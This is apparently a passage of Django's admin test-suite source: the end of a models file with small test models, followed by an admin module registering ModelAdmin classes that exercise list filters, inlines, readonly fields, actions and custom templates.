    tag = GenericRelation(FunkyTag, related_query_name='bookmark')

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class CyclicOne(models.Model):
    name = models.CharField(max_length=25)
    two = models.ForeignKey('CyclicTwo', models.CASCADE)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class CyclicTwo(models.Model):
    name = models.CharField(max_length=25)
    one = models.ForeignKey(CyclicOne, models.CASCADE)

    def __str__(self):
        return self.name


class Topping(models.Model):
    name = models.CharField(max_length=20)


class Pizza(models.Model):
    name = models.CharField(max_length=20)
    toppings = models.ManyToManyField('Topping', related_name='pizzas')


class Album(models.Model):
    owner = models.ForeignKey(User, models.SET_NULL, null=True, blank=True)
    title = models.CharField(max_length=30)


class Employee(Person):
    code = models.CharField(max_length=20)


class WorkHour(models.Model):
    datum = models.DateField()
    employee = models.ForeignKey(Employee, models.CASCADE)


class Question(models.Model):
    question = models.CharField(max_length=20)
    posted = models.DateField(default=datetime.date.today)


@python_2_unicode_compatible
class Answer(models.Model):
    question = models.ForeignKey(Question, models.PROTECT)
    answer = models.CharField(max_length=20)

    def __str__(self):
        return self.answer


class Reservation(models.Model):
    start_date = models.DateTimeField()
    price = models.IntegerField()


DRIVER_CHOICES = (
    ('bill', 'Bill G'),
    ('steve', 'Steve J'),
)

RESTAURANT_CHOICES = (
    ('indian', 'A Taste of India'),
    ('thai', 'Thai Pography'),
    ('pizza', 'Pizza Mama'),
)


class FoodDelivery(models.Model):
    reference = models.CharField(max_length=100)
    driver = models.CharField(max_length=100, choices=DRIVER_CHOICES, blank=True)
    restaurant = models.CharField(max_length=100, choices=RESTAURANT_CHOICES, blank=True)

    class Meta:
        unique_together = (("driver", "restaurant"),)


@python_2_unicode_compatible
class CoverLetter(models.Model):
    author = models.CharField(max_length=30)
    date_written = models.DateField(null=True, blank=True)

    def __str__(self):
        return self.author


class Paper(models.Model):
    title = models.CharField(max_length=30)
    author = models.CharField(max_length=30, blank=True, null=True)


class ShortMessage(models.Model):
    content = models.CharField(max_length=140)
    timestamp = models.DateTimeField(null=True, blank=True)


@python_2_unicode_compatible
class Telegram(models.Model):
    title = models.CharField(max_length=30)
    date_sent = models.DateField(null=True, blank=True)

    def __str__(self):
        return self.title


class Story(models.Model):
    title = models.CharField(max_length=100)
    content = models.TextField()


class OtherStory(models.Model):
    title = models.CharField(max_length=100)
    content = models.TextField()


class ComplexSortedPerson(models.Model):
    name = models.CharField(max_length=100)
    age = models.PositiveIntegerField()
    is_employee = models.NullBooleanField()


class PluggableSearchPerson(models.Model):
    name = models.CharField(max_length=100)
    age = models.PositiveIntegerField()


class PrePopulatedPostLargeSlug(models.Model):
    """
    Regression test for #15938: a large max_length for the slugfield must not
    be localized in prepopulated_fields_js.html or it might end up breaking
    the javascript (ie, using THOUSAND_SEPARATOR ends up with maxLength=1,000)
    """
    title = models.CharField(max_length=100)
    published = models.BooleanField(default=False)
    # `db_index=False` because MySQL cannot index large CharField (#21196).
    slug = models.SlugField(max_length=1000, db_index=False)


class AdminOrderedField(models.Model):
    order = models.IntegerField()
    stuff = models.CharField(max_length=200)


class AdminOrderedModelMethod(models.Model):
    order = models.IntegerField()
    stuff = models.CharField(max_length=200)

    def some_order(self):
        return self.order
    some_order.admin_order_field = 'order'


class AdminOrderedAdminMethod(models.Model):
    order = models.IntegerField()
    stuff = models.CharField(max_length=200)


class AdminOrderedCallable(models.Model):
    order = models.IntegerField()
    stuff = models.CharField(max_length=200)


@python_2_unicode_compatible
class Report(models.Model):
    title = models.CharField(max_length=100)

    def __str__(self):
        return self.title


class MainPrepopulated(models.Model):
    name = models.CharField(max_length=100)
    pubdate = models.DateField()
    status = models.CharField(
        max_length=20,
        choices=(('option one', 'Option One'),
                 ('option two', 'Option Two')))
    slug1 = models.SlugField(blank=True)
    slug2 = models.SlugField(blank=True)
    slug3 = models.SlugField(blank=True, allow_unicode=True)


class RelatedPrepopulated(models.Model):
    parent = models.ForeignKey(MainPrepopulated, models.CASCADE)
    name = models.CharField(max_length=75)
    pubdate = models.DateField()
    status = models.CharField(
        max_length=20,
        choices=(('option one', 'Option One'),
                 ('option two', 'Option Two')))
    slug1 = models.SlugField(max_length=50)
    slug2 = models.SlugField(max_length=60)


class UnorderedObject(models.Model):
    """
    Model without any defined `Meta.ordering`.
    Refs #16819.
    """
    name = models.CharField(max_length=255)
    bool = models.BooleanField(default=True)


class UndeletableObject(models.Model):
    """
    Model whose show_delete in admin change_view has been disabled
    Refs #10057.
    """
    name = models.CharField(max_length=255)


class UnchangeableObject(models.Model):
    """
    Model whose change_view is disabled in admin
    Refs #20640.
    """


class UserMessenger(models.Model):
    """
    Dummy class for testing message_user functions on ModelAdmin
    """


class Simple(models.Model):
    """
    Simple model with nothing on it for use in testing
    """


class Choice(models.Model):
    choice = models.IntegerField(
        blank=True, null=True,
        choices=((1, 'Yes'), (0, 'No'), (None, 'No opinion')),
    )


class ParentWithDependentChildren(models.Model):
    """
    Issue #20522
    Model where the validation of child foreign-key relationships depends
    on validation of the parent
    """
    some_required_info = models.PositiveIntegerField()
    family_name = models.CharField(max_length=255, blank=False)


class DependentChild(models.Model):
    """
    Issue #20522
    Model that depends on validation of the parent class for one of its
    fields to validate during clean
    """
    parent = models.ForeignKey(ParentWithDependentChildren, models.CASCADE)
    family_name = models.CharField(max_length=255)


class _Manager(models.Manager):
    def get_queryset(self):
        return super(_Manager, self).get_queryset().filter(pk__gt=1)


class FilteredManager(models.Model):
    def __str__(self):
        return "PK=%d" % self.pk

    pk_gt_1 = _Manager()
    objects = models.Manager()


class EmptyModelVisible(models.Model):
    """ See ticket #11277. """


class EmptyModelHidden(models.Model):
    """ See ticket #11277. """


class EmptyModelMixin(models.Model):
    """ See ticket #11277. """


class State(models.Model):
    name = models.CharField(max_length=100)


class City(models.Model):
    state = models.ForeignKey(State, models.CASCADE)
    name = models.CharField(max_length=100)

    def get_absolute_url(self):
        return '/dummy/%s/' % self.pk


class Restaurant(models.Model):
    city = models.ForeignKey(City, models.CASCADE)
    name = models.CharField(max_length=100)

    def get_absolute_url(self):
        return '/dummy/%s/' % self.pk


class Worker(models.Model):
    work_at = models.ForeignKey(Restaurant, models.CASCADE)
    name = models.CharField(max_length=50)
    surname = models.CharField(max_length=50)


# Models for #23329
class ReferencedByParent(models.Model):
    name = models.CharField(max_length=20, unique=True)


class ParentWithFK(models.Model):
    fk = models.ForeignKey(
        ReferencedByParent,
        models.CASCADE,
        to_field='name',
        related_name='hidden+',
    )


class ChildOfReferer(ParentWithFK):
    pass


# Models for #23431
class ReferencedByInline(models.Model):
    name = models.CharField(max_length=20, unique=True)


class InlineReference(models.Model):
    fk = models.ForeignKey(
        ReferencedByInline,
        models.CASCADE,
        to_field='name',
        related_name='hidden+',
    )


class InlineReferer(models.Model):
    refs = models.ManyToManyField(InlineReference)


# Models for #23604 and #23915
class Recipe(models.Model):
    rname = models.CharField(max_length=20, unique=True)


class Ingredient(models.Model):
    iname = models.CharField(max_length=20, unique=True)
    recipes = models.ManyToManyField(Recipe, through='RecipeIngredient')


class RecipeIngredient(models.Model):
    ingredient = models.ForeignKey(Ingredient, models.CASCADE, to_field='iname')
    recipe = models.ForeignKey(Recipe, models.CASCADE, to_field='rname')


# Model for #23839
class NotReferenced(models.Model):
    # Don't point any FK at this model.
    pass


# Models for #23934
class ExplicitlyProvidedPK(models.Model):
    name = models.IntegerField(primary_key=True)


class ImplicitlyGeneratedPK(models.Model):
    name = models.IntegerField(unique=True)


# Models for #25622
class ReferencedByGenRel(models.Model):
    content_type = models.ForeignKey(ContentType, on_delete=models.CASCADE)
    object_id = models.PositiveIntegerField()
    content_object = GenericForeignKey('content_type', 'object_id')


class GenRelReference(models.Model):
    references = GenericRelation(ReferencedByGenRel)


class ParentWithUUIDPK(models.Model):
    id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
    title = models.CharField(max_length=100)

    def __str__(self):
        return str(self.id)


class RelatedWithUUIDPKModel(models.Model):
    parent = models.ForeignKey(ParentWithUUIDPK, on_delete=models.SET_NULL, null=True, blank=True)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import os
import tempfile
from wsgiref.util import FileWrapper

from django import forms
from django.conf.urls import url
from django.contrib import admin
from django.contrib.admin import BooleanFieldListFilter
from django.contrib.admin.views.main import ChangeList
from django.contrib.auth.admin import GroupAdmin, UserAdmin
from django.contrib.auth.models import Group, User
from django.core.exceptions import ValidationError
from django.core.files.storage import FileSystemStorage
from django.core.mail import EmailMessage
from django.db import models
from django.forms.models import BaseModelFormSet
from django.http import HttpResponse, StreamingHttpResponse
from django.utils.html import format_html
from django.utils.safestring import mark_safe
from django.utils.six import StringIO

from .forms import MediaActionForm
from .models import (
    Actor, AdminOrderedAdminMethod, AdminOrderedCallable, AdminOrderedField,
    AdminOrderedModelMethod, Album, Answer, Article, BarAccount, Book,
    Bookmark, Category, Chapter, ChapterXtra1, Child, ChildOfReferer, Choice,
    City, Collector, Color, Color2, ComplexSortedPerson, CoverLetter,
    CustomArticle, CyclicOne, CyclicTwo, DependentChild, DooHickey, EmptyModel,
    EmptyModelHidden, EmptyModelMixin, EmptyModelVisible, ExplicitlyProvidedPK,
    ExternalSubscriber, Fabric, FancyDoodad, FieldOverridePost,
    FilteredManager, FooAccount, FoodDelivery, FunkyTag, Gadget, Gallery,
    GenRelReference, Grommet, ImplicitlyGeneratedPK, Ingredient,
    InlineReference, InlineReferer, Inquisition, Language, Link,
    MainPrepopulated, ModelWithStringPrimaryKey, NotReferenced, OldSubscriber,
    OtherStory, Paper, Parent, ParentWithDependentChildren, ParentWithUUIDPK,
    Person, Persona, Picture, Pizza, Plot, PlotDetails, PlotProxy,
    PluggableSearchPerson, Podcast, Post, PrePopulatedPost,
    PrePopulatedPostLargeSlug, PrePopulatedSubPost, Promo, Question, Recipe,
    Recommendation, Recommender, ReferencedByGenRel, ReferencedByInline,
    ReferencedByParent, RelatedPrepopulated, RelatedWithUUIDPKModel, Report,
    Reservation, Restaurant, RowLevelChangePermissionModel, Section,
    ShortMessage, Simple, Sketch, State, Story, StumpJoke, Subscriber,
    SuperVillain, Telegram, Thing, Topping, UnchangeableObject,
    UndeletableObject, UnorderedObject, UserMessenger, Villain, Vodcast,
    Whatsit, Widget, Worker, WorkHour,
)


def callable_year(dt_value):
    try:
        return dt_value.year
    except AttributeError:
        return None
callable_year.admin_order_field = 'date'


class ArticleInline(admin.TabularInline):
    model = Article
    fk_name = 'section'
    prepopulated_fields = {
        'title': ('content',)
    }
    fieldsets = (
        ('Some fields', {
            'classes': ('collapse',),
            'fields': ('title', 'content')
        }),
        ('Some other fields', {
            'classes': ('wide',),
            'fields': ('date', 'section')
        })
    )


class ChapterInline(admin.TabularInline):
    model = Chapter


class ChapterXtra1Admin(admin.ModelAdmin):
    list_filter = ('chap',
                   'chap__title',
                   'chap__book',
                   'chap__book__name',
                   'chap__book__promo',
                   'chap__book__promo__name',)


class ArticleAdmin(admin.ModelAdmin):
    list_display = (
        'content', 'date', callable_year, 'model_year', 'modeladmin_year',
        'model_year_reversed', 'section', lambda obj: obj.title,
    )
    list_editable = ('section',)
    list_filter = ('date', 'section')
    view_on_site = False
    fieldsets = (
        ('Some fields', {
            'classes': ('collapse',),
            'fields': ('title', 'content')
        }),
        ('Some other fields', {
            'classes': ('wide',),
            'fields': ('date', 'section', 'sub_section')
        })
    )

    def changelist_view(self, request):
        "Test that extra_context works"
        return super(ArticleAdmin, self).changelist_view(
            request, extra_context={
                'extra_var': 'Hello!'
            }
        )

    def modeladmin_year(self, obj):
        return obj.date.year
    modeladmin_year.admin_order_field = 'date'
    modeladmin_year.short_description = None

    def delete_model(self, request, obj):
        EmailMessage(
            'Greetings from a deleted object',
            'I hereby inform you that some user deleted me',
            'from@example.com',
            ['to@example.com']
        ).send()
        return super(ArticleAdmin, self).delete_model(request, obj)

    def save_model(self, request, obj, form, change=True):
        EmailMessage(
            'Greetings from a created object',
            'I hereby inform you that some user created me',
            'from@example.com',
            ['to@example.com']
        ).send()
        return super(ArticleAdmin, self).save_model(request, obj, form, change)


class ArticleAdmin2(admin.ModelAdmin):

    def has_module_permission(self, request):
        return False


class RowLevelChangePermissionModelAdmin(admin.ModelAdmin):
    def has_change_permission(self, request, obj=None):
        """ Only allow changing objects with even id number """
        return request.user.is_staff and (obj is not None) and (obj.id % 2 == 0)


class CustomArticleAdmin(admin.ModelAdmin):
    """
    Tests various hooks for using custom templates and contexts.
    """
    change_list_template = 'custom_admin/change_list.html'
    change_form_template = 'custom_admin/change_form.html'
    add_form_template = 'custom_admin/add_form.html'
    object_history_template = 'custom_admin/object_history.html'
    delete_confirmation_template = 'custom_admin/delete_confirmation.html'
    delete_selected_confirmation_template = 'custom_admin/delete_selected_confirmation.html'

    def changelist_view(self, request):
        "Test that extra_context works"
        return super(CustomArticleAdmin, self).changelist_view(
            request, extra_context={
                'extra_var': 'Hello!'
            }
        )


class ThingAdmin(admin.ModelAdmin):
    list_filter = ('color__warm', 'color__value', 'pub_date',)


class InquisitionAdmin(admin.ModelAdmin):
    list_display = ('leader', 'country', 'expected', 'sketch')

    def sketch(self, obj):
        # A method with the same name as a reverse accessor.
        return 'list-display-sketch'


class SketchAdmin(admin.ModelAdmin):
    raw_id_fields = ('inquisition', 'defendant0', 'defendant1')


class FabricAdmin(admin.ModelAdmin):
    list_display = ('surface',)
    list_filter = ('surface',)


class BasePersonModelFormSet(BaseModelFormSet):
    def clean(self):
        for person_dict in self.cleaned_data:
            person = person_dict.get('id')
            alive = person_dict.get('alive')
            if person and alive and person.name == "Grace Hopper":
                raise forms.ValidationError("Grace is not a Zombie")


class PersonAdmin(admin.ModelAdmin):
    list_display = ('name', 'gender', 'alive')
    list_editable = ('gender', 'alive')
    list_filter = ('gender',)
    search_fields = ('^name',)
    save_as = True

    def get_changelist_formset(self, request, **kwargs):
        return super(PersonAdmin, self).get_changelist_formset(request, formset=BasePersonModelFormSet, **kwargs)

    def get_queryset(self, request):
        # Order by a field that isn't in list display, to be able to test
        # whether ordering is preserved.
        return super(PersonAdmin, self).get_queryset(request).order_by('age')


class FooAccountAdmin(admin.StackedInline):
    model = FooAccount
    extra = 1


class BarAccountAdmin(admin.StackedInline):
    model = BarAccount
    extra = 1


class PersonaAdmin(admin.ModelAdmin):
    inlines = (
        FooAccountAdmin,
        BarAccountAdmin
    )


class SubscriberAdmin(admin.ModelAdmin):
    actions = ['mail_admin']
    action_form = MediaActionForm

    def mail_admin(self, request, selected):
        EmailMessage(
            'Greetings from a ModelAdmin action',
            'This is the test email from an admin action',
            'from@example.com',
            ['to@example.com']
        ).send()


def external_mail(modeladmin, request, selected):
    EmailMessage(
        'Greetings from a function action',
        'This is the test email from a function action',
        'from@example.com',
        ['to@example.com']
    ).send()
external_mail.short_description = 'External mail (Another awesome action)'


def redirect_to(modeladmin, request, selected):
    from django.http import HttpResponseRedirect
    return HttpResponseRedirect('/some-where-else/')
redirect_to.short_description = 'Redirect to (Awesome action)'


def download(modeladmin, request, selected):
    buf = StringIO('This is the content of the file')
    return StreamingHttpResponse(FileWrapper(buf))
download.short_description = 'Download subscription'


def no_perm(modeladmin, request, selected):
    return HttpResponse(content='No permission to perform this action',
                        status=403)
no_perm.short_description = 'No permission to run'


class ExternalSubscriberAdmin(admin.ModelAdmin):
    actions = [redirect_to, external_mail, download, no_perm]


class PodcastAdmin(admin.ModelAdmin):
    list_display = ('name', 'release_date')
    list_editable = ('release_date',)
    date_hierarchy = 'release_date'
    ordering = ('name',)


class VodcastAdmin(admin.ModelAdmin):
    list_display = ('name', 'released')
    list_editable = ('released',)

    ordering = ('name',)


class ChildInline(admin.StackedInline):
    model = Child


class ParentAdmin(admin.ModelAdmin):
    model = Parent
    inlines = [ChildInline]
    save_as = True

    list_editable = ('name',)

    def save_related(self, request, form, formsets, change):
        super(ParentAdmin, self).save_related(request, form, formsets, change)
        first_name, last_name = form.instance.name.split()
        for child in form.instance.child_set.all():
            if len(child.name.split()) < 2:
                child.name = child.name + ' ' + last_name
                child.save()


class EmptyModelAdmin(admin.ModelAdmin):
    def get_queryset(self, request):
        return super(EmptyModelAdmin, self).get_queryset(request).filter(pk__gt=1)


class OldSubscriberAdmin(admin.ModelAdmin):
    actions = None


temp_storage = FileSystemStorage(tempfile.mkdtemp())
UPLOAD_TO = os.path.join(temp_storage.location, 'test_upload')


class PictureInline(admin.TabularInline):
    model = Picture
    extra = 1


class GalleryAdmin(admin.ModelAdmin):
    inlines = [PictureInline]


class PictureAdmin(admin.ModelAdmin):
    pass


class LanguageAdmin(admin.ModelAdmin):
    list_display = ['iso', 'shortlist', 'english_name', 'name']
    list_editable = ['shortlist']


class RecommendationAdmin(admin.ModelAdmin):
    show_full_result_count = False
    search_fields = ('=titletranslation__text', '=the_recommender__titletranslation__text',)


class WidgetInline(admin.StackedInline):
    model = Widget


class DooHickeyInline(admin.StackedInline):
    model = DooHickey


class GrommetInline(admin.StackedInline):
    model = Grommet


class WhatsitInline(admin.StackedInline):
    model = Whatsit


class FancyDoodadInline(admin.StackedInline):
    model = FancyDoodad


class CategoryAdmin(admin.ModelAdmin):
    list_display = ('id', 'collector', 'order')
    list_editable = ('order',)


class CategoryInline(admin.StackedInline):
    model = Category


class CollectorAdmin(admin.ModelAdmin):
    inlines = [
        WidgetInline, DooHickeyInline, GrommetInline, WhatsitInline,
        FancyDoodadInline, CategoryInline
    ]


class LinkInline(admin.TabularInline):
    model = Link
    extra = 1

    readonly_fields = ("posted", "multiline", "readonly_link_content")

    def multiline(self, instance):
        return "InlineMultiline\ntest\nstring"


class SubPostInline(admin.TabularInline):
    model = PrePopulatedSubPost

    prepopulated_fields = {
        'subslug': ('subtitle',)
    }

    def get_readonly_fields(self, request, obj=None):
        if obj and obj.published:
            return ('subslug',)
        return self.readonly_fields

    def get_prepopulated_fields(self, request, obj=None):
        if obj and obj.published:
            return {}
        return self.prepopulated_fields


class PrePopulatedPostAdmin(admin.ModelAdmin):
    list_display = ['title', 'slug']
    prepopulated_fields = {
        'slug': ('title',)
    }

    inlines = [SubPostInline]

    def get_readonly_fields(self, request, obj=None):
        if obj and obj.published:
            return ('slug',)
        return self.readonly_fields

    def get_prepopulated_fields(self, request, obj=None):
        if obj and obj.published:
            return {}
        return self.prepopulated_fields


class PostAdmin(admin.ModelAdmin):
    list_display = ['title', 'public']
    readonly_fields = (
        'posted', 'awesomeness_level', 'coolness', 'value',
        'multiline', 'multiline_html', lambda obj: "foo",
        'multiline_html_allow_tags', 'readonly_content',
    )

    inlines = [
        LinkInline
    ]

    def coolness(self, instance):
        if instance.pk:
            return "%d amount of cool." % instance.pk
        else:
            return "Unknown coolness."

    def value(self, instance):
        return 1000
    value.short_description = 'Value in $US'

    def multiline(self, instance):
        return "Multiline\ntest\nstring"

    def multiline_html(self, instance):
        return mark_safe("Multiline<br>\nhtml<br>\ncontent")

    def multiline_html_allow_tags(self, instance):
        return "Multiline<br>html<br>content<br>with allow tags"
    multiline_html_allow_tags.allow_tags = True


class FieldOverridePostForm(forms.ModelForm):
    model = FieldOverridePost

    class Meta:
        help_texts = {
            'posted': 'Overridden help text for the date',
        }
        labels = {
            'public': 'Overridden public label',
        }


class FieldOverridePostAdmin(PostAdmin):
    form = FieldOverridePostForm


class CustomChangeList(ChangeList):
    def get_queryset(self, request):
        return self.root_queryset.order_by('pk').filter(pk=9999)  # Doesn't exist


class GadgetAdmin(admin.ModelAdmin):
    def get_changelist(self, request, **kwargs):
        return CustomChangeList


class ToppingAdmin(admin.ModelAdmin):
    readonly_fields = ('pizzas',)


class PizzaAdmin(admin.ModelAdmin):
    readonly_fields = ('toppings',)


class WorkHourAdmin(admin.ModelAdmin):
    list_display = ('datum', 'employee')
    list_filter = ('employee',)


class FoodDeliveryAdmin(admin.ModelAdmin):
    list_display = ('reference', 'driver', 'restaurant')
    list_editable = ('driver', 'restaurant')


class CoverLetterAdmin(admin.ModelAdmin):
    """
    A ModelAdmin with a custom get_queryset() method that uses defer(), to test
    verbose_name display in messages shown after adding/editing CoverLetter
    instances. Note that the CoverLetter model defines a __str__ method.
    For testing fix for ticket #14529.
    """

    def get_queryset(self, request):
        return super(CoverLetterAdmin, self).get_queryset(request).defer('date_written')


class PaperAdmin(admin.ModelAdmin):
    """
    A ModelAdmin with a custom get_queryset() method that uses only(), to test
    verbose_name display in messages shown after adding/editing Paper
    instances.
    For testing fix for ticket #14529.
    """

    def get_queryset(self, request):
        return super(PaperAdmin, self).get_queryset(request).only('title')


class ShortMessageAdmin(admin.ModelAdmin):
    """
    A ModelAdmin with a custom get_queryset() method that uses defer(), to test
    verbose_name display in messages shown after adding/editing ShortMessage
    instances.
    For testing fix for ticket #14529.
    """

    def get_queryset(self, request):
        return super(ShortMessageAdmin, self).get_queryset(request).defer('timestamp')


class TelegramAdmin(admin.ModelAdmin):
    """
    A ModelAdmin with a custom get_queryset() method that uses only(), to test
    verbose_name display in messages shown after adding/editing Telegram
    instances. Note that the Telegram model defines a __str__ method.
    For testing fix for ticket #14529.
    """

    def get_queryset(self, request):
        return super(TelegramAdmin, self).get_queryset(request).only('title')


class StoryForm(forms.ModelForm):
    class Meta:
        widgets = {'title': forms.HiddenInput}


class StoryAdmin(admin.ModelAdmin):
    list_display = ('id', 'title', 'content')
    list_display_links = ('title',)  # 'id' not in list_display_links
    list_editable = ('content', )
    form = StoryForm
    ordering = ["-pk"]


class OtherStoryAdmin(admin.ModelAdmin):
    list_display = ('id', 'title', 'content')
    list_display_links = ('title', 'id')  # 'id' in list_display_links
    list_editable = ('content', )
    ordering = ["-pk"]


class ComplexSortedPersonAdmin(admin.ModelAdmin):
    list_display = ('name', 'age', 'is_employee', 'colored_name')
    ordering = ('name',)

    def colored_name(self, obj):
        return format_html('<span style="color: #ff00ff;">{}</span>', obj.name)
    colored_name.admin_order_field = 'name'


class PluggableSearchPersonAdmin(admin.ModelAdmin):
    list_display = ('name', 'age')
    search_fields = ('name',)

    def get_search_results(self, request, queryset, search_term):
        queryset, use_distinct = super(PluggableSearchPersonAdmin, self).get_search_results(
            request, queryset, search_term
        )
        try:
            search_term_as_int = int(search_term)
        except ValueError:
            pass
        else:
            queryset |= self.model.objects.filter(age=search_term_as_int)
        return queryset, use_distinct


class AlbumAdmin(admin.ModelAdmin):
    list_filter = ['title']


class PrePopulatedPostLargeSlugAdmin(admin.ModelAdmin):
    prepopulated_fields = {
        'slug': ('title',)
    }


class AdminOrderedFieldAdmin(admin.ModelAdmin):
    ordering = ('order',)
    list_display = ('stuff', 'order')


class AdminOrderedModelMethodAdmin(admin.ModelAdmin):
    ordering = ('order',)
    list_display = ('stuff', 'some_order')


class AdminOrderedAdminMethodAdmin(admin.ModelAdmin):
    def some_admin_order(self, obj):
        return obj.order
    some_admin_order.admin_order_field = 'order'
    ordering = ('order',)
    list_display = ('stuff', 'some_admin_order')


def admin_ordered_callable(obj):
    return obj.order
admin_ordered_callable.admin_order_field = 'order'


class AdminOrderedCallableAdmin(admin.ModelAdmin):
    ordering = ('order',)
    list_display = ('stuff', admin_ordered_callable)


class ReportAdmin(admin.ModelAdmin):
    def extra(self, request):
        return HttpResponse()

    def get_urls(self):
        # Corner case: Don't call parent implementation
        return [
            url(r'^extra/$',
                self.extra,
                name='cable_extra'),
        ]


class CustomTemplateBooleanFieldListFilter(BooleanFieldListFilter):
    template = 'custom_filter_template.html'


class CustomTemplateFilterColorAdmin(admin.ModelAdmin):
    list_filter = (('warm', CustomTemplateBooleanFieldListFilter),)


# For Selenium Prepopulated tests -------------------------------------
class RelatedPrepopulatedInline1(admin.StackedInline):
    fieldsets = (
        (None, {
            'fields': (('pubdate', 'status'), ('name', 'slug1', 'slug2',),)
        }),
    )
    formfield_overrides = {models.CharField: {'strip': False}}
    model = RelatedPrepopulated
    extra = 1
    prepopulated_fields = {'slug1': ['name', 'pubdate'],
                           'slug2': ['status', 'name']}


class RelatedPrepopulatedInline2(admin.TabularInline):
    model = RelatedPrepopulated
    extra = 1
    prepopulated_fields = {'slug1': ['name', 'pubdate'],
                           'slug2': ['status', 'name']}


class MainPrepopulatedAdmin(admin.ModelAdmin):
    inlines = [RelatedPrepopulatedInline1, RelatedPrepopulatedInline2]
    fieldsets = (
        (None, {
            'fields': (('pubdate', 'status'), ('name', 'slug1', 'slug2', 'slug3'))
        }),
    )
    formfield_overrides = {models.CharField: {'strip': False}}
    prepopulated_fields = {
        'slug1': ['name', 'pubdate'],
        'slug2': ['status', 'name'],
        'slug3': ['name'],
    }


class UnorderedObjectAdmin(admin.ModelAdmin):
    list_display = ['name']
    list_editable = ['name']
    list_per_page = 2


class UndeletableObjectAdmin(admin.ModelAdmin):
    def change_view(self, *args, **kwargs):
        kwargs['extra_context'] = {'show_delete': False}
        return super(UndeletableObjectAdmin, self).change_view(*args, **kwargs)


class UnchangeableObjectAdmin(admin.ModelAdmin):
    def get_urls(self):
        # Disable change_view, but leave other urls untouched
        urlpatterns = super(UnchangeableObjectAdmin, self).get_urls()
        return [p for p in urlpatterns if p.name and not p.name.endswith("_change")]


def callable_on_unknown(obj):
    return obj.unknown


class AttributeErrorRaisingAdmin(admin.ModelAdmin):
    list_display = [callable_on_unknown, ]


class CustomManagerAdmin(admin.ModelAdmin):
    def get_queryset(self, request):
        return FilteredManager.objects


class MessageTestingAdmin(admin.ModelAdmin):
    actions = ["message_debug", "message_info", "message_success",
               "message_warning", "message_error", "message_extra_tags"]

    def message_debug(self, request, selected):
        self.message_user(request, "Test debug", level="debug")

    def message_info(self, request, selected):
        self.message_user(request, "Test info", level="info")

    def message_success(self, request, selected):
        self.message_user(request, "Test success", level="success")

    def message_warning(self, request, selected):
        self.message_user(request, "Test warning", level="warning")

    def message_error(self, request, selected):
        self.message_user(request, "Test error", level="error")

    def message_extra_tags(self, request, selected):
        self.message_user(request, "Test tags", extra_tags="extra_tag")


class ChoiceList(admin.ModelAdmin):
    list_display = ['choice']
    readonly_fields = ['choice']
    fields = ['choice']


class DependentChildAdminForm(forms.ModelForm):
    """
    Issue #20522
    Form to test child dependency on parent object's validation
    """
    def clean(self):
        parent = self.cleaned_data.get('parent')
        if parent.family_name and parent.family_name != self.cleaned_data.get('family_name'):
            raise ValidationError("Children must share a family name with their parents " +
                                  "in this contrived test case")
        return super(DependentChildAdminForm, self).clean()


class DependentChildInline(admin.TabularInline):
    model = DependentChild
    form = DependentChildAdminForm


class ParentWithDependentChildrenAdmin(admin.ModelAdmin):
    inlines = [DependentChildInline]


# Tests for ticket 11277 ----------------------------------

class FormWithoutHiddenField(forms.ModelForm):
    first = forms.CharField()
    second = forms.CharField()


class FormWithoutVisibleField(forms.ModelForm):
    first = forms.CharField(widget=forms.HiddenInput)
    second = forms.CharField(widget=forms.HiddenInput)


class FormWithVisibleAndHiddenField(forms.ModelForm):
    first = forms.CharField(widget=forms.HiddenInput)
    second = forms.CharField()


class EmptyModelVisibleAdmin(admin.ModelAdmin):
    form = FormWithoutHiddenField
    fieldsets = (
        (None, {
            'fields': (('first', 'second'),),
        }),
    )


class EmptyModelHiddenAdmin(admin.ModelAdmin):
    form = FormWithoutVisibleField
    fieldsets = EmptyModelVisibleAdmin.fieldsets


class EmptyModelMixinAdmin(admin.ModelAdmin):
    form = FormWithVisibleAndHiddenField
    fieldsets = EmptyModelVisibleAdmin.fieldsets


class CityInlineAdmin(admin.TabularInline):
    model = City
    view_on_site = False


class StateAdmin(admin.ModelAdmin):
    inlines = [CityInlineAdmin]


class RestaurantInlineAdmin(admin.TabularInline):
    model = Restaurant
    view_on_site = True


class CityAdmin(admin.ModelAdmin):
    inlines = [RestaurantInlineAdmin]
    view_on_site = True


class WorkerAdmin(admin.ModelAdmin):
    def view_on_site(self, obj):
        return '/worker/%s/%s/' % (obj.surname, obj.name)


class WorkerInlineAdmin(admin.TabularInline):
    model = Worker

    def view_on_site(self, obj):
        return '/worker_inline/%s/%s/' % (obj.surname, obj.name)


class RestaurantAdmin(admin.ModelAdmin):
    inlines = [WorkerInlineAdmin]
    view_on_site = False

    def get_changeform_initial_data(self, request):
        return {'name': 'overridden_value'}


class FunkyTagAdmin(admin.ModelAdmin):
    list_display = ('name', 'content_object')


class InlineReferenceInline(admin.TabularInline):
    model = InlineReference


class InlineRefererAdmin(admin.ModelAdmin):
    inlines = [InlineReferenceInline]


class PlotReadonlyAdmin(admin.ModelAdmin):
    readonly_fields = ('plotdetails',)


class GetFormsetsArgumentCheckingAdmin(admin.ModelAdmin):
    fields = ['name']

    def add_view(self, request, *args, **kwargs):
        request.is_add_view = True
        return super(GetFormsetsArgumentCheckingAdmin, self).add_view(request, *args, **kwargs)

    def change_view(self, request, *args, **kwargs):
        request.is_add_view = False
        return super(GetFormsetsArgumentCheckingAdmin, self).change_view(request, *args, **kwargs)

    def get_formsets_with_inlines(self, request, obj=None):
        if request.is_add_view and obj is not None:
            raise Exception("'obj' passed to get_formsets_with_inlines wasn't None during add_view")
        if not request.is_add_view and obj is None:
            raise Exception("'obj' passed to get_formsets_with_inlines was None during change_view")
        return super(GetFormsetsArgumentCheckingAdmin, self).get_formsets_with_inlines(request, obj)


site = admin.AdminSite(name="admin")
site.site_url = '/my-site-url/'
site.register(Article, ArticleAdmin)
site.register(CustomArticle, CustomArticleAdmin)
site.register(Section, save_as=True, inlines=[ArticleInline], readonly_fields=['name_property'])
site.register(ModelWithStringPrimaryKey)
site.register(Color)
site.register(Thing, ThingAdmin)
site.register(Actor)
site.register(Inquisition, InquisitionAdmin)
site.register(Sketch, SketchAdmin)
site.register(Person, PersonAdmin)
site.register(Persona, PersonaAdmin)
site.register(Subscriber, SubscriberAdmin)
site.register(ExternalSubscriber, ExternalSubscriberAdmin)
site.register(OldSubscriber, OldSubscriberAdmin)
